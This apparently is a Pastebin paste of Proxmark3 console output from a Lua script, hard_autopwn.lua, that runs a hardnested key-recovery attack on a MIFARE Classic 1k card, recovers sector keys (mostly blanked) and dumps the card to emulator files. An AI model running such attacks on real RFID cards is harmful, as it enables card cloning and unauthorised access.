API tools faq
paste
Advertisement
Guest User

hard_autopwn.lua

a guest
Jun 15th, 2017
645
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.30 KB | None | 0 0
raw download clone embed print report
  1. ------------------------ Detection of hardend prng ------------
  2.  
  3. proxmark3> sc r hard_autopwn -k fc00018778f7 -s 1
  4. --- Executing: hard_autopwn.lua, args '-k fc00018778f7 -s 1'
  5. ### hardend nonce detected
  6. #db# Debug level: 0
  7. Found tag NXP MIFARE CLASSIC 1k | Plus 2k
  8. ### check_found_keys
  9. ### target key B - block: 04
  10.  
  11.  
  12.  
  13. time | #nonces | Activity | expected to brute force
  14. | | | #states | time
  15. ------------------------------------------------------------------------------------------------------
  16. 0 | 0 | Start using 4 threads and AVX SIMD core | |
  17. 0 | 0 | Brute force benchmark: 535 million (2^29,0) keys/s | 140737488355328 | 3d
  18. 18 | 0 | Using 235 precalculated bitflip state tables | 140737488355328 | 3d
  19. 22 | 111 | Apply bit flip properties | 95109283840 | 3min
  20. 23 | 223 | Apply bit flip properties | 42154176512 | 79s
  21. 24 | 335 | Apply bit flip properties | 31557734400 | 59s
  22. 25 | 447 | Apply bit flip properties | 17277984768 | 32s
  23. 26 | 558 | Apply bit flip properties | 17277984768 | 32s
  24. 27 | 667 | Apply bit flip properties | 15690964992 | 29s
  25. 28 | 776 | Apply bit flip properties | 15690964992 | 29s
  26. 28 | 887 | Apply bit flip properties | 15690964992 | 29s
  27. 29 | 998 | Apply bit flip properties | 15690964992 | 29s
  28. 30 | 1107 | Apply bit flip properties | 15690964992 | 29s
  29. 31 | 1217 | Apply bit flip properties | 15690964992 | 29s
  30. 31 | 1326 | Apply bit flip properties | 15690964992 | 29s
  31. 32 | 1437 | Apply bit flip properties | 15690964992 | 29s
  32. 33 | 1546 | Apply bit flip properties | 15690964992 | 29s
  33. 34 | 1655 | Apply bit flip properties | 15690964992 | 29s
  34. 36 | 1763 | Apply Sum property. Sum(a0) = 120 | 2271052800 | 4s
  35. 36 | 1874 | Apply bit flip properties | 1369737216 | 3s
  36. 37 | 1984 | Apply bit flip properties | 1242259968 | 2s
  37. 37 | 2094 | Apply bit flip properties | 390208032 | 1s
  38. 38 | 2200 | Apply bit flip properties | 390208032 | 1s
  39. 39 | 2200 | (1. guess: Sum(a8) = 256) | 390208032 | 1s
  40. 39 | 2200 | Apply Sum(a8) and all bytes bitflip properties | 310002528 | 1s
  41. 39 | 2200 | Brute force phase completed. Key found: ------------ | 0 | 0s
  42. ### check_found_keys
  43. ### target key B - block: 0c
  44.  
  45.  
  46.  
  47. time | #nonces | Activity | expected to brute force
  48. | | | #states | time
  49. ------------------------------------------------------------------------------------------------------
  50. 0 | 0 | Start using 4 threads and AVX SIMD core | |
  51. 0 | 0 | Brute force benchmark: 416 million (2^28,6) keys/s | 140737488355328 | 4d
  52. 1 | 0 | Using 235 precalculated bitflip state tables | 140737488355328 | 4d
  53. 5 | 112 | Apply bit flip properties | 113144479744 | 5min
  54. 6 | 224 | Apply bit flip properties | 74632798208 | 3min
  55. 7 | 336 | Apply bit flip properties | 48158273536 | 2min
  56. 8 | 448 | Apply bit flip properties | 45748273152 | 2min
  57. 9 | 559 | Apply bit flip properties | 43296837632 | 2min
  58. 9 | 671 | Apply bit flip properties | 43020050432 | 2min
  59. 10 | 781 | Apply bit flip properties | 42107375616 | 2min
  60. 11 | 891 | Apply bit flip properties | 42107375616 | 2min
  61. 11 | 1000 | Apply bit flip properties | 42107375616 | 2min
  62. 12 | 1111 | Apply bit flip properties | 42107375616 | 2min
  63. 13 | 1219 | Apply bit flip properties | 42107375616 | 2min
  64. 14 | 1330 | Apply bit flip properties | 42107375616 | 2min
  65. 15 | 1439 | Apply bit flip properties | 42107375616 | 2min
  66. 16 | 1549 | Apply bit flip properties | 42107375616 | 2min
  67. 16 | 1657 | Apply bit flip properties | 42107375616 | 2min
  68. 19 | 1768 | Apply Sum property. Sum(a0) = 160 | 4948815872 | 12s
  69. 19 | 1873 | Apply bit flip properties | 3228479232 | 8s
  70. 20 | 1978 | Apply bit flip properties | 3228479232 | 8s
  71. 21 | 2087 | Apply bit flip properties | 3228479232 | 8s
  72. 21 | 2197 | Apply bit flip properties | 3228479232 | 8s
  73. 22 | 2197 | (1. guess: Sum(a8) = 192) | 3228479232 | 8s
  74. 23 | 2197 | Apply Sum(a8) and all bytes bitflip properties | 3194970624 | 8s
  75. 23 | 2197 | (2. guess: Sum(a8) = 160) | 4516477952 | 11s
  76. 26 | 2197 | Apply Sum(a8) and all bytes bitflip properties | 4326422016 | 10s
  77. 26 | 2197 | Brute force phase completed. Key found: ------------ | 0 | 0s
  78. ### check_found_keys
  79. ### target key A - block: 10
  80.  
  81.  
  82.  
  83. time | #nonces | Activity | expected to brute force
  84. | | | #states | time
  85. ------------------------------------------------------------------------------------------------------
  86. 0 | 0 | Start using 4 threads and AVX SIMD core | |
  87. 0 | 0 | Brute force benchmark: 364 million (2^28,4) keys/s | 140737488355328 | 4d
  88. 1 | 0 | Using 235 precalculated bitflip state tables | 140737488355328 | 4d
  89. 5 | 112 | Apply bit flip properties | 32093952000 | 88s
  90. 6 | 224 | Apply bit flip properties | 9564994560 | 26s
  91. 7 | 336 | Apply bit flip properties | 9219948544 | 25s
  92. 7 | 448 | Apply bit flip properties | 9219948544 | 25s
  93. 8 | 560 | Apply bit flip properties | 8845624320 | 24s
  94. 9 | 671 | Apply bit flip properties | 8845624320 | 24s
  95. 10 | 780 | Apply bit flip properties | 7835157504 | 22s
  96. 11 | 892 | Apply bit flip properties | 7835157504 | 22s
  97. 11 | 1002 | Apply bit flip properties | 7835157504 | 22s
  98. 12 | 1111 | Apply bit flip properties | 7835157504 | 22s
  99. 13 | 1222 | Apply bit flip properties | 7835157504 | 22s
  100. 14 | 1332 | Apply bit flip properties | 7835157504 | 22s
  101. 15 | 1441 | Apply bit flip properties | 7835157504 | 22s
  102. 16 | 1550 | Apply Sum property. Sum(a0) = 120 | 233272144 | 1s
  103. 17 | 1660 | Apply bit flip properties | 233272144 | 1s
  104. 18 | 1769 | Apply bit flip properties | 207585408 | 1s
  105. 18 | 1880 | Apply bit flip properties | 207585408 | 1s
  106. 19 | 1880 | (Ignoring Sum(a8) properties) | 207585408 | 1s
  107. 21 | 1880 | Brute force phase completed. Key found: ------------ | 0 | 0s
  108. ### check_found_keys
  109. ### target key A - block: 24
  110.  
  111.  
  112.  
  113. time | #nonces | Activity | expected to brute force
  114. | | | #states | time
  115. ------------------------------------------------------------------------------------------------------
  116. 0 | 0 | Start using 4 threads and AVX SIMD core | |
  117. 0 | 0 | Brute force benchmark: 358 million (2^28,4) keys/s | 140737488355328 | 5d
  118. 1 | 0 | Using 235 precalculated bitflip state tables | 140737488355328 | 5d
  119. 5 | 112 | Apply bit flip properties | 245191016448 | 11min
  120. 6 | 224 | Apply bit flip properties | 100886675456 | 5min
  121. 7 | 335 | Apply bit flip properties | 76400549888 | 4min
  122. 8 | 447 | Apply bit flip properties | 76400549888 | 4min
  123. 9 | 559 | Apply bit flip properties | 76328607744 | 4min
  124. 9 | 670 | Apply bit flip properties | 76328607744 | 4min
  125. 10 | 779 | Apply bit flip properties | 74550116352 | 3min
  126. 11 | 890 | Apply bit flip properties | 74550116352 | 3min
  127. 12 | 1002 | Apply bit flip properties | 74550116352 | 3min
  128. 12 | 1110 | Apply bit flip properties | 74550116352 | 3min
  129. 14 | 1219 | Apply Sum property. Sum(a0) = 192 | 1426542720 | 4s
  130. 14 | 1329 | Apply bit flip properties | 1605958912 | 4s
  131. 15 | 1437 | Apply bit flip properties | 1240326016 | 3s
  132. 16 | 1547 | Apply bit flip properties | 1240326016 | 3s
  133. 17 | 1547 | (1. guess: Sum(a8) = 64) | 1240326016 | 3s
  134. 17 | 1547 | Apply Sum(a8) and all bytes bitflip properties | 1141138688 | 3s
  135. 18 | 1547 | (2. guess: Sum(a8) = 128) | 2300668416 | 6s
  136. 27 | 1547 | Apply Sum(a8) and all bytes bitflip properties | 1546720512 | 4s
  137. 29 | 1547 | Brute force phase completed. Key found: ------------ | 0 | 0s
  138. ### check_found_keys
  139. ### target key B - block: 24
  140.  
  141.  
  142.  
  143. time | #nonces | Activity | expected to brute force
  144. | | | #states | time
  145. ------------------------------------------------------------------------------------------------------
  146. 0 | 0 | Start using 4 threads and AVX SIMD core | |
  147. 0 | 0 | Brute force benchmark: 317 million (2^28,2) keys/s | 140737488355328 | 5d
  148. 1 | 0 | Using 235 precalculated bitflip state tables | 140737488355328 | 5d
  149. 5 | 112 | Apply bit flip properties | 206539816960 | 11min
  150. 6 | 224 | Apply bit flip properties | 51147173888 | 3min
  151. 7 | 334 | Apply bit flip properties | 20680243200 | 65s
  152. 8 | 446 | Apply bit flip properties | 20441329664 | 64s
  153. 9 | 558 | Apply bit flip properties | 20386975744 | 64s
  154. 9 | 669 | Apply bit flip properties | 20386975744 | 64s
  155. 10 | 780 | Apply bit flip properties | 20383420416 | 64s
  156. 11 | 891 | Apply bit flip properties | 20383420416 | 64s
  157. 12 | 1000 | Apply bit flip properties | 20383420416 | 64s
  158. 12 | 1112 | Apply bit flip properties | 20383420416 | 64s
  159. 13 | 1223 | Apply bit flip properties | 20383420416 | 64s
  160. 15 | 1333 | Apply Sum property. Sum(a0) = 96 | 1012257792 | 3s
  161. 15 | 1443 | Apply bit flip properties | 1012257792 | 3s
  162. 16 | 1551 | Apply bit flip properties | 1012257792 | 3s
  163. 17 | 1662 | Apply bit flip properties | 1012257792 | 3s
  164. 18 | 1662 | (Ignoring Sum(a8) properties) | 1012257792 | 3s
  165. 30 | 1662 | Brute force phase completed. Key found: ------------ | 0 | 0s
  166. ### check_found_keys
  167. ### target key B - block: 00
  168.  
  169.  
  170.  
  171. time | #nonces | Activity | expected to brute force
  172. | | | #states | time
  173. ------------------------------------------------------------------------------------------------------
  174. 0 | 0 | Start using 4 threads and AVX SIMD core | |
  175. 0 | 0 | Brute force benchmark: 298 million (2^28,1) keys/s | 140737488355328 | 5d
  176. 1 | 0 | Using 235 precalculated bitflip state tables | 140737488355328 | 5d
  177. 5 | 112 | Apply bit flip properties | 207866200064 | 12min
  178. 6 | 224 | Apply bit flip properties | 93579034624 | 5min
  179. 7 | 336 | Apply bit flip properties | 46221049856 | 3min
  180. 8 | 447 | Apply bit flip properties | 29416611840 | 2min
  181. 9 | 559 | Apply bit flip properties | 26219184128 | 88s
  182. 10 | 667 | Apply bit flip properties | 26219184128 | 88s
  183. 11 | 778 | Apply bit flip properties | 15690964992 | 53s
  184. 12 | 890 | Apply bit flip properties | 15690964992 | 53s
  185. 12 | 1000 | Apply bit flip properties | 15690964992 | 53s
  186. 13 | 1110 | Apply bit flip properties | 15690964992 | 53s
  187. 13 | 1220 | Apply bit flip properties | 15690964992 | 53s
  188. 14 | 1328 | Apply bit flip properties | 15690964992 | 53s
  189. 16 | 1438 | Apply Sum property. Sum(a0) = 120 | 2871600896 | 10s
  190. 16 | 1546 | Apply bit flip properties | 2871600896 | 10s
  191. 17 | 1658 | Apply bit flip properties | 2871600896 | 10s
  192. 18 | 1767 | Apply bit flip properties | 2686653184 | 9s
  193. 19 | 1767 | (Ignoring Sum(a8) properties) | 2686653184 | 9s
  194. 24 | 1767 | Brute force phase completed. Key found: ------------ | 0 | 0s
  195. ### check_found_keys
  196.  
  197. |---|----------------|---|----------------|---|
  198. |sec|key A |res|key B |res|
  199. |---|----------------|---|----------------|---|
  200. |000| fc00018778f7 | 1 | ------------ | 1 |
  201. |001| fc00018778f7 | 1 | ------------ | 1 |
  202. |002| fc00018778f7 | 1 | ------------ | 1 |
  203. |003| ------------ | 1 | ------------ | 1 |
  204. |004| ------------ | 1 | ------------ | 1 |
  205. |005| ------------ | 1 | ------------ | 1 |
  206. |006| ------------ | 1 | ------------ | 1 |
  207. |007| ------------ | 1 | ------------ | 1 |
  208. |008| ------------ | 1 | ------------ | 1 |
  209. |009| ------------ | 1 | ------------ | 1 |
  210. |010| ------------ | 1 | ------------ | 1 |
  211. |011| ------------ | 1 | ------------ | 1 |
  212. |012| ------------ | 1 | ------------ | 1 |
  213. |013| ------------ | 1 | ------------ | 1 |
  214. |014| ------------ | 1 | ------------ | 1 |
  215. |015| ------------ | 1 | ------------ | 1 |
  216. |---|----------------|---|----------------|---|
  217. ### dumping keys to file
  218. Do you wish to save the keys to dumpfile? [y/n] ?y
  219. Select a filename to store to (default: dumpkeys.bin )
  220. >
  221. ### dumping tag memory
  222. |-----------------------------------------|
  223. |------ Reading sector access bits...-----|
  224. |-----------------------------------------|
  225. |-----------------------------------------|
  226. |----- Dumping all blocks to file... -----|
  227. |-----------------------------------------|
  228. Successfully read block 0 of sector 0.
  229. Successfully read block 1 of sector 0.
  230. Successfully read block 2 of sector 0.
  231. Successfully read block 3 of sector 0.
  232. Successfully read block 0 of sector 1.
  233. Successfully read block 1 of sector 1.
  234. Successfully read block 2 of sector 1.
  235. Successfully read block 3 of sector 1.
  236. Successfully read block 0 of sector 2.
  237. Successfully read block 1 of sector 2.
  238. Successfully read block 2 of sector 2.
  239. Successfully read block 3 of sector 2.
  240. Successfully read block 0 of sector 3.
  241. Successfully read block 1 of sector 3.
  242. Successfully read block 2 of sector 3.
  243. Successfully read block 3 of sector 3.
  244. Successfully read block 0 of sector 4.
  245. Successfully read block 1 of sector 4.
  246. Successfully read block 2 of sector 4.
  247. Successfully read block 3 of sector 4.
  248. Successfully read block 0 of sector 5.
  249. Successfully read block 1 of sector 5.
  250. Successfully read block 2 of sector 5.
  251. Successfully read block 3 of sector 5.
  252. Successfully read block 0 of sector 6.
  253. Successfully read block 1 of sector 6.
  254. Successfully read block 2 of sector 6.
  255. Successfully read block 3 of sector 6.
  256. Successfully read block 0 of sector 7.
  257. Successfully read block 1 of sector 7.
  258. Successfully read block 2 of sector 7.
  259. Successfully read block 3 of sector 7.
  260. Successfully read block 0 of sector 8.
  261. Successfully read block 1 of sector 8.
  262. Successfully read block 2 of sector 8.
  263. Successfully read block 3 of sector 8.
  264. Successfully read block 0 of sector 9.
  265. Successfully read block 1 of sector 9.
  266. Successfully read block 2 of sector 9.
  267. Successfully read block 3 of sector 9.
  268. Successfully read block 0 of sector 10.
  269. Successfully read block 1 of sector 10.
  270. Successfully read block 2 of sector 10.
  271. Successfully read block 3 of sector 10.
  272. Successfully read block 0 of sector 11.
  273. Successfully read block 1 of sector 11.
  274. Successfully read block 2 of sector 11.
  275. Successfully read block 3 of sector 11.
  276. Successfully read block 0 of sector 12.
  277. Successfully read block 1 of sector 12.
  278. Successfully read block 2 of sector 12.
  279. Successfully read block 3 of sector 12.
  280. Successfully read block 0 of sector 13.
  281. Successfully read block 1 of sector 13.
  282. Successfully read block 2 of sector 13.
  283. Successfully read block 3 of sector 13.
  284. Successfully read block 0 of sector 14.
  285. Successfully read block 1 of sector 14.
  286. Successfully read block 2 of sector 14.
  287. Successfully read block 3 of sector 14.
  288. Successfully read block 0 of sector 15.
  289. Successfully read block 1 of sector 15.
  290. Successfully read block 2 of sector 15.
  291. Successfully read block 3 of sector 15.
  292. Dumped 64 blocks (1024 bytes) to file dumpdata.bin
  293. Wrote a HTML dump to the file 02637C03.html
  294. Wrote an emulator-dump to the file 02637C03.eml
  295. hard_autopwn - Total execution time: 179 sec
  296.  
  297. -----Finished
  298.  
  299. ------------------------ VS detection of weak prng ------------
  300.  
  301.  
  302. proxmark3> sc r hard_autopwn -k fc00018778f7 -s 1
  303. --- Executing: hard_autopwn.lua, args '-k fc00018778f7 -s 1'
  304. ### weak nonce detected - use darkside attack
  305. ERROR: use:: script run mifare_autopwn
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!